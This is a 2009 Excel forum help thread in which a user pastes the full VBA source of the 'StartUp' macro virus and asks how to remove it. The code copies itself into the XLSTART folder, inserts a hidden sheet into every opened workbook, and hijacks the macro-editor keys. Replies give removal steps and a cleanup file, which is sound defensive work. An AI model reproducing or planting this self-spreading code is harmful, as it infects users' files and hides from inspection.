ExcelHome技术论坛

 找回密码
 免费注册

QQ登录

只需一步,快速开始

快捷登录

搜索
EH技术汇-专业的职场技能充电站 妙哉!函数段子手趣味讲函数 Excel服务器-会Excel,做管理系统 Excel Home精品图文教程库
HR薪酬管理数字化实战 Excel 2021函数公式学习大典 Excel数据透视表实战秘技 打造核心竞争力的职场宝典
300集Office 2010微视频教程 数据工作者的案头书 免费直播课集锦 ExcelHome出品 - VBA代码宝免费下载
用ChatGPT与VBA一键搞定Excel WPS表格从入门到精通 Excel VBA经典代码实践指南
查看: 39101|回复: 100

[求助] 紧急救救!文件中有startup宏!怪!

  [复制链接]

TA的精华主题

TA的得分主题

发表于 2009-11-5 10:08 | 显示全部楼层 |阅读模式
我同事的excel文件,传到我的电脑上打开一次后,我的其他ECCEL文件一打开自动会在宏里有一模板,生成一个宏文件,文件名startup,整个EXCEL都这样!
请各位帮一下!1、如何删除,以后不会生成此宏文件!
               2、这个宏做什么!请分析一下!
               3、如何确保电脑上不会有此宏!
谢谢!
附:代码!

Sub auto_open()
On Error Resume Next
If ThisWorkbook.Path <> Application.StartupPath And Dir(Application.StartupPath & "\" & "StartUp.xls") = "" Then
Application.ScreenUpdating = False
ThisWorkbook.Sheets("StartUp").Copy
ActiveWorkbook.SaveAs (Application.StartupPath & "\" & "StartUp.xls")
n$ = ActiveWorkbook.Name
ActiveWindow.Visible = False
Workbooks("StartUp.xls").Save
Workbooks(n$).Close (False)
End If
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnKey "%{F8}", "StartUp.xls!escape"
End Sub
Sub cop()
On Error Resume Next
If ActiveWorkbook.Sheets(1).Name <> "StartUp" Then
Application.ScreenUpdating = False
n$ = ActiveSheet.Name
Workbooks("StartUp.xls").Sheets("StartUp").Copy before:=Worksheets(1)
Sheets(n$).Select
End If
End Sub
Sub escape()
On Error Resume Next
Application.OnSheetActivate = "StartUp.xls!back"
Application.OnKey "%{F11}"
Application.OnKey "%{F8}"
Application.SendKeys "%{F11}"
Application.SendKeys "%{F8}"
For Each book In Workbooks
Application.DisplayAlerts = False
If book <> "StartUp.xls" Then book.Sheets("StartUp").Delete
Next
For Each book In Workbooks
If book.Name = "StartUp.xls" Then
book.Close
End If
Next
End Sub
Sub back()
On Error Resume Next
Application.OnKey "%{F8}", "StartUp.xls!escape"
Application.OnKey "%{F11}", "StartUp.xls!escape"
Application.OnSheetActivate = "StartUp.xls!cop"
Application.OnTime Now + TimeValue("00:00:01"), "StartUp.xls!cop"
Workbooks.Open Application.StartupPath & "\StartUp.xls"
End Sub

TA的精华主题

TA的得分主题

发表于 2009-11-5 10:15 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册
C:\Documents and Settings\Administrator\Application Data\Microsoft\Excel\XLSTART
这个文件夹下是不是有个StartUp.xls呀?删掉试度

TA的精华主题

TA的得分主题

发表于 2009-11-5 10:20 | 显示全部楼层
还应该把宏安全性设置为或要经过允许才启用。
不然已经有代码的工作薄,还会自动添加到STARTUP路径里的。

TA的精华主题

TA的得分主题

 楼主| 发表于 2009-11-5 10:22 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册
好了,谢谢!这个是做什么的??

TA的精华主题

TA的得分主题

发表于 2009-11-5 10:37 | 显示全部楼层

回复 4楼 txh6692 的帖子

就是加载起启宏的文件夹,把其它的文件放到这个文件夹里,也会被加载.

TA的精华主题

TA的得分主题

发表于 2009-11-5 10:55 | 显示全部楼层
[广告] VBA代码宝 - VBA编程加强工具 · VBA代码随查随用  · 内置多项VBA编程加强工具       ★ 免费下载 ★      ★使用手册
这一阵论坛有少量附件帖子出现的不良代码results就是有点像这种模式,一打开就自动加载到启动文件夹中。

TA的精华主题

TA的得分主题

发表于 2009-11-16 14:20 | 显示全部楼层

运行附件中的xls文件,可以清除掉startup宏病毒

运行附件中的xls文件,可以清除掉startup宏病毒

清除StartUp.rar

6.17 KB, 下载次数: 2474

点评

很好用。 建议置顶! 谢谢。  发表于 2012-2-14 21:32

评分

3

查看全部评分

TA的精华主题

TA的得分主题

发表于 2009-11-18 10:21 | 显示全部楼层
谢谢哦了 !!!
支持一下!!!

TA的精华主题

TA的得分主题

发表于 2009-11-19 13:54 | 显示全部楼层

TA的精华主题

TA的得分主题

发表于 2009-12-6 17:25 | 显示全部楼层
试试看             谢谢
您需要登录后才可以回帖 登录 | 免费注册

本版积分规则

手机版|关于我们|联系我们|ExcelHome

GMT+8, 2024-5-18 13:20 , Processed in 0.041516 second(s), 11 queries , Gzip On, MemCache On.

Powered by Discuz! X3.4

© 1999-2023 Wooffice Inc.

沪公网安备 31011702000001号 沪ICP备11019229号-2

本论坛言论纯属发表者个人意见,任何违反国家相关法律的言论,本站将协助国家相关部门追究发言者责任!     本站特聘法律顾问:李志群律师

快速回复 返回顶部 返回列表